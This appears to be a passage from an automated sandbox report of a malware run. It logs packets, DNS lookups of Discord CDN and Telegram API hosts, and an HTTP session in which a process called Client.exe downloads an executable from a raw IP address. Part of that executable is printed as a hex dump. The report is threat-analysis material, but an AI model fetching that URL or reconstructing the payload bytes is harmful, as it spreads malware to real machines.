Aug 8, 2022 17:18:44.774626017 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774638891 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.774666071 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774707079 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774719000 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.774751902 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774791002 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774802923 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.774831057 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774871111 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774888992 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.774909973 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774950027 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774964094 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.774991035 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.775031090 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.775044918 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.775073051 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.775110960 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.775150061 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.775212049 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.806039095 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806082964 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806101084 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806123972 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806145906 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806154013 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.806168079 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806191921 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806215048 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806237936 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806245089 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.806262970 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806287050 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806288004 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.806308031 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806324959 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806340933 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806341887 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.806359053 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806375027 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.806375980 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806395054 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806411028 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806427956 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806444883 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806446075 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.806462049 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806473970 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.806479931 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806497097 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806505919 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.806516886 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806535006 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806545973 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.806551933 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806570053 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806580067 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.806587934 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806605101 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806617022 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.806622028 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806639910 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806657076 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806668043 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.806674957 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806691885 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806709051 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806725979 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806740999 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806741953 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.806760073 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806777954 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806788921 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.806794882 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806824923 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.806838989 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806858063 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806870937 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.806919098 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:47.848061085 CEST	49181	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:47.848131895 CEST	443	49181	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:47.848243952 CEST	49181	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:47.858860016 CEST	49181	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:47.858892918 CEST	443	49181	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:47.920501947 CEST	443	49181	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:47.920597076 CEST	49181	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:47.936271906 CEST	49181	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:47.936322927 CEST	443	49181	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:47.936939001 CEST	443	49181	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:48.133795023 CEST	49181	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:48.156822920 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:49.110600948 CEST	49181	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:49.142469883 CEST	443	49181	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:49.335290909 CEST	49181	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:52.801616907 CEST	49181	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:56.518573046 CEST	49182	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:56.518646002 CEST	443	49182	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:56.518734932 CEST	49182	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:56.525149107 CEST	49182	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:56.525191069 CEST	443	49182	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:56.585803032 CEST	443	49182	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:56.586049080 CEST	49182	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:56.607180119 CEST	49182	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:56.607229948 CEST	443	49182	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:56.607897997 CEST	443	49182	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:56.815401077 CEST	443	49182	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:56.816597939 CEST	49182	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:57.143824100 CEST	49182	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:57.171175957 CEST	443	49182	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:57.172139883 CEST	49182	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:57.215446949 CEST	443	49182	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:57.572231054 CEST	443	49182	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:57.572474957 CEST	443	49182	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:57.572676897 CEST	49182	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:57.575484037 CEST	49182	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:59.787409067 CEST	49183	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:59.787471056 CEST	443	49183	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:59.788853884 CEST	49183	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:59.793082952 CEST	49183	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:59.793116093 CEST	443	49183	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:59.850938082 CEST	443	49183	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:59.874164104 CEST	49183	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:59.874207020 CEST	443	49183	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:59.904000998 CEST	443	49183	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:59.906922102 CEST	49183	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:59.907066107 CEST	443	49183	149.154.167.220	192.168.2.22
Aug 8, 2022 17:18:59.907295942 CEST	49183	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:18:59.907320023 CEST	443	49183	149.154.167.220	192.168.2.22
Aug 8, 2022 17:19:00.265611887 CEST	443	49183	149.154.167.220	192.168.2.22
Aug 8, 2022 17:19:00.265696049 CEST	443	49183	149.154.167.220	192.168.2.22
Aug 8, 2022 17:19:00.265889883 CEST	49183	443	192.168.2.22	149.154.167.220
Aug 8, 2022 17:19:00.266614914 CEST	49183	443	192.168.2.22	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 8, 2022 17:18:09.668448925 CEST	55868	53	192.168.2.22	8.8.8.8
Aug 8, 2022 17:18:09.689707994 CEST	53	55868	8.8.8.8	192.168.2.22
Aug 8, 2022 17:18:21.336635113 CEST	49688	53	192.168.2.22	8.8.8.8
Aug 8, 2022 17:18:21.356662035 CEST	53	49688	8.8.8.8	192.168.2.22
Aug 8, 2022 17:18:23.649310112 CEST	58836	53	192.168.2.22	8.8.8.8
Aug 8, 2022 17:18:23.668286085 CEST	53	58836	8.8.8.8	192.168.2.22
Aug 8, 2022 17:18:37.983858109 CEST	50134	53	192.168.2.22	8.8.8.8
Aug 8, 2022 17:18:38.007226944 CEST	53	50134	8.8.8.8	192.168.2.22
Aug 8, 2022 17:18:43.499875069 CEST	55275	53	192.168.2.22	8.8.8.8
Aug 8, 2022 17:18:43.522581100 CEST	53	55275	8.8.8.8	192.168.2.22
Aug 8, 2022 17:18:47.790354013 CEST	59915	53	192.168.2.22	8.8.8.8
Aug 8, 2022 17:18:47.807266951 CEST	53	59915	8.8.8.8	192.168.2.22
Aug 8, 2022 17:18:56.392419100 CEST	54408	53	192.168.2.22	8.8.8.8
Aug 8, 2022 17:18:56.411427021 CEST	53	54408	8.8.8.8	192.168.2.22
Aug 8, 2022 17:18:56.427946091 CEST	54408	53	192.168.2.22	8.8.8.8
Aug 8, 2022 17:18:56.446690083 CEST	53	54408	8.8.8.8	192.168.2.22
Aug 8, 2022 17:18:59.765098095 CEST	50108	53	192.168.2.22	8.8.8.8
Aug 8, 2022 17:18:59.783803940 CEST	53	50108	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 8, 2022 17:18:09.668448925 CEST	192.168.2.22	8.8.8.8	0x58dc	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:21.336635113 CEST	192.168.2.22	8.8.8.8	0xde81	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:23.649310112 CEST	192.168.2.22	8.8.8.8	0x5175	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:37.983858109 CEST	192.168.2.22	8.8.8.8	0x8264	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:43.499875069 CEST	192.168.2.22	8.8.8.8	0xbb2e	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:47.790354013 CEST	192.168.2.22	8.8.8.8	0x2652	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:56.392419100 CEST	192.168.2.22	8.8.8.8	0x1bbb	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:56.427946091 CEST	192.168.2.22	8.8.8.8	0x1bbb	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:59.765098095 CEST	192.168.2.22	8.8.8.8	0x30aa	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Aug 8, 2022 17:18:09.689707994 CEST	8.8.8.8	192.168.2.22	0x58dc	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:09.689707994 CEST	8.8.8.8	192.168.2.22	0x58dc	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:09.689707994 CEST	8.8.8.8	192.168.2.22	0x58dc	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:09.689707994 CEST	8.8.8.8	192.168.2.22	0x58dc	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:09.689707994 CEST	8.8.8.8	192.168.2.22	0x58dc	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:21.356662035 CEST	8.8.8.8	192.168.2.22	0xde81	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:23.668286085 CEST	8.8.8.8	192.168.2.22	0x5175	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:38.007226944 CEST	8.8.8.8	192.168.2.22	0x8264	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:38.007226944 CEST	8.8.8.8	192.168.2.22	0x8264	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:38.007226944 CEST	8.8.8.8	192.168.2.22	0x8264	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:38.007226944 CEST	8.8.8.8	192.168.2.22	0x8264	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:38.007226944 CEST	8.8.8.8	192.168.2.22	0x8264	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:43.522581100 CEST	8.8.8.8	192.168.2.22	0xbb2e	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:43.522581100 CEST	8.8.8.8	192.168.2.22	0xbb2e	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:43.522581100 CEST	8.8.8.8	192.168.2.22	0xbb2e	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:43.522581100 CEST	8.8.8.8	192.168.2.22	0xbb2e	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:43.522581100 CEST	8.8.8.8	192.168.2.22	0xbb2e	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:47.807266951 CEST	8.8.8.8	192.168.2.22	0x2652	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:56.411427021 CEST	8.8.8.8	192.168.2.22	0x1bbb	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:56.446690083 CEST	8.8.8.8	192.168.2.22	0x1bbb	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Aug 8, 2022 17:18:59.783803940 CEST	8.8.8.8	192.168.2.22	0x30aa	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

api.telegram.org

109.206.241.81

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49173	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\Client.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49175	149.154.167.220	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.22	49180	109.206.241.81	80	C:\Users\user\AppData\Local\Temp\Client.exe

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:18:44.650859118 CEST	679	OUT	GET /htdocs/eZYWw.exe HTTP/1.1 Host: 109.206.241.81 Connection: Keep-Alive
Aug 8, 2022 17:18:44.683948994 CEST	680	IN	HTTP/1.1 200 OK Date: Mon, 08 Aug 2022 15:18:44 GMT Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29 Last-Modified: Sun, 07 Aug 2022 10:26:43 GMT ETag: "34400-5e5a422bc1ac2" Accept-Ranges: bytes Content-Length: 214016 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 93 54 de 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 3c 03 00 00 06 00 00 00 00 00 00 ce 5b 03 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 5b 03 00 53 00 00 00 00 60 03 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 3b 03 00 00 20 00 00 00 3c 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 02 00 00 00 60 03 00 00 04 00 00 00 3e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 03 00 00 02 00 00 00 42 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 5b 03 00 00 00 00 00 48 00 00 00 02 00 05 00 bc 84 02 00 bc d6 00 00 03 00 00 00 11 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 01 00 00 0a 2a 1e 02 28 04 00 00 0a 2a a6 73 06 00 00 0a 80 01 00 00 04 73 07 00 00 0a 80 02 00 00 04 73 08 00 00 0a 80 03 00 00 04 73 09 00 00 0a 80 04 00 00 04 2a 00 00 13 30 02 00 2c 00 00 00 01 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 01 00 00 04 6f 0a 00 00 0a 2a 13 30 02 00 2c 00 00 00 02 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 02 00 00 04 6f 0b 00 00 0a 2a 13 30 02 00 2c 00 00 00 03 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 03 00 00 04 6f 0c 00 00 0a 2a 13 30 02 00 2c 00 00 00 04 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 04 00 00 04 6f 0d 00 00 0a 2a 13 30 02 00 2e 00 00 00 05 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 02 03 28 11 00 00 0a 28 12 00 00 0a 2a 00 00 13 30 02 00 28 00 00 00 06 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 02 28 13 00 00 0a 2a 13 30 02 00 2c 00 00 00 07 00 00 11 16 0b 2b 1b 00 07 17 fe Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELTb<[ @ @x[S` H.text; < `.rsrc`>@@.relocB@B[H((ssss0,+,,,++~o0,+,,,++~o0,+,,,++~o0,+,,,++~o0.+,,,++((0(+,,,++(*0,+
Aug 8, 2022 17:18:44.683975935 CEST	681	IN	Data Raw: 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 d0 05 00 00 02 28 14 00 00 0a 2a 13 30 02 00 28 00 00 00 08 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 02 Data Ascii: ,,,++(0(+,,,++(0C+;,,-%,(+,,++0(0O+C,~-2
Aug 8, 2022 17:18:44.683995962 CEST	683	IN	Data Raw: 61 02 00 06 28 23 00 00 0a 28 38 00 00 0a 26 de 0c 28 2d 00 00 0a 28 2e 00 00 0a de 00 2a 01 10 00 00 00 00 07 00 30 37 00 0c 1d 00 00 01 1b 30 03 00 d1 01 00 00 10 00 00 11 7e 15 00 00 04 39 c6 01 00 00 7e 18 00 00 04 7e 14 00 00 04 16 28 30 00 Data Ascii: a(#(8&(-(.*070~9~~(0;(]("(b(#(9-(]("(b(#(:&~(;,[~(<(=+.o>o?(<(03o@2(-(.
Aug 8, 2022 17:18:44.684010983 CEST	684	IN	Data Raw: 00 00 0a 28 2a 00 00 06 06 28 4f 00 00 0a 28 23 00 00 0a 6f 52 00 00 0a 7e 1c 00 00 04 28 5f 02 00 06 28 49 02 00 06 6f 4a 00 00 0a 28 22 02 00 06 28 4b 00 00 0a 0b 12 01 28 6a 02 00 06 28 4c 00 00 0a 28 70 02 00 06 28 4e 00 00 0a 28 73 02 00 06 Data Ascii: ((O(#oR~(_(IoJ("(K(j(L(p(N(s(+(t(((A(Q((#oR~(_(IoJ("(K(j(L(p(N(s(+(t((`(-~(u(K~
Aug 8, 2022 17:18:44.684031963 CEST	686	IN	Data Raw: 00 00 0a 2a 00 00 01 10 00 00 02 00 11 00 9e af 00 0e 00 00 00 00 1b 30 06 00 3f 01 00 00 16 00 00 11 28 47 01 00 06 0a 06 6f 48 00 00 0a 0b 7e 13 00 00 04 16 33 11 1c 07 28 49 00 00 0a 28 24 00 00 06 38 04 01 00 00 7e 13 00 00 04 17 33 2f 28 7f Data Ascii: 0?(GoH~3(I($8~3/((,(sd(%(-(.~3e(~(_(IoJ(h(K~(L((M('l(-(.`~3
Aug 8, 2022 17:18:44.684052944 CEST	687	IN	Data Raw: 00 00 0a 0c 08 11 04 73 87 00 00 0a 0d 09 02 6f 88 00 00 0a 7e 24 00 00 04 05 16 fe 01 5f 39 ae 00 00 00 09 16 6f 89 00 00 0a 28 51 00 00 0a 03 6f 52 00 00 0a 13 07 11 07 73 64 00 00 0a 13 08 73 8a 00 00 0a 13 06 11 06 28 74 02 00 06 6f 8b 00 00 Data Ascii: so~$_9o(QoRsds(to(h(K~(L(p(Noso(h(K~(L(p(Nooo(o+oo_,;o
Aug 8, 2022 17:18:44.684072971 CEST	688	IN	Data Raw: 07 8e b7 6f 74 00 00 0a 08 11 0c 0e 05 11 0c 6f a8 00 00 0a 28 a9 00 00 0a 13 0a 28 51 00 00 0a 11 0a 6f 52 00 00 0a 13 0b 11 06 11 0b 16 11 0b 8e b7 6f 74 00 00 0a 11 14 6f aa 00 00 0a 2d ae de 16 11 14 75 39 00 00 01 2c 0c 11 14 75 39 00 00 01 Data Ascii: oto((QoRoto-u9,u9o]ot(((QoRotot((((&oRotoeouovswox
Aug 8, 2022 17:18:44.684092045 CEST	690	IN	Data Raw: 0a 2a 1e 02 13 30 05 00 a8 01 00 00 1e 00 00 11 16 13 14 38 99 01 00 00 00 11 14 1a fe 01 2c 29 12 10 28 af 00 00 0a 28 04 00 00 06 6f b0 00 00 0a 6f b1 00 00 0a 13 11 12 11 28 b2 00 00 0a 73 b3 00 00 0a 13 06 1b 13 14 00 11 14 1d fe 01 2c 0f 28 Data Ascii: *08,)((oo(s,((,s,,(,jo,"((o,2js,(
Aug 8, 2022 17:18:44.684112072 CEST	691	IN	Data Raw: 01 2c 0c 16 06 8e b7 17 da 13 04 0c 1b 13 05 00 11 05 1c fe 01 2c 1f 08 18 5d 16 fe 01 08 06 8e b7 17 da fe 01 16 fe 01 5f 08 16 fe 02 5f 39 5c ff ff ff 1d 13 05 00 11 05 1b fe 01 2c 08 38 38 ff ff ff 1c 13 05 00 11 05 19 fe 01 2c 09 73 61 00 00 Data Ascii: ,,]__9\,88,sa,,+8ocoz((((}*0#8,{+tso,{+o,{
Aug 8, 2022 17:18:44.684133053 CEST	692	IN	Data Raw: 14 14 28 98 00 00 0a 28 e2 00 00 0a 28 cc 00 00 0a 3a 6e ff ff ff 07 14 28 d3 02 00 06 16 8d 07 00 00 01 14 14 14 28 98 00 00 0a 28 e3 00 00 0a 0a de 10 25 28 2d 00 00 0a 0d 16 0a 28 2e 00 00 0a de 00 06 2a 00 00 00 41 1c 00 00 00 00 00 00 00 00 Data Ascii: (((:n(((%(-(.A0['({(9-{(:&{((#(;->so;{((#o%(-(.,o]{((#
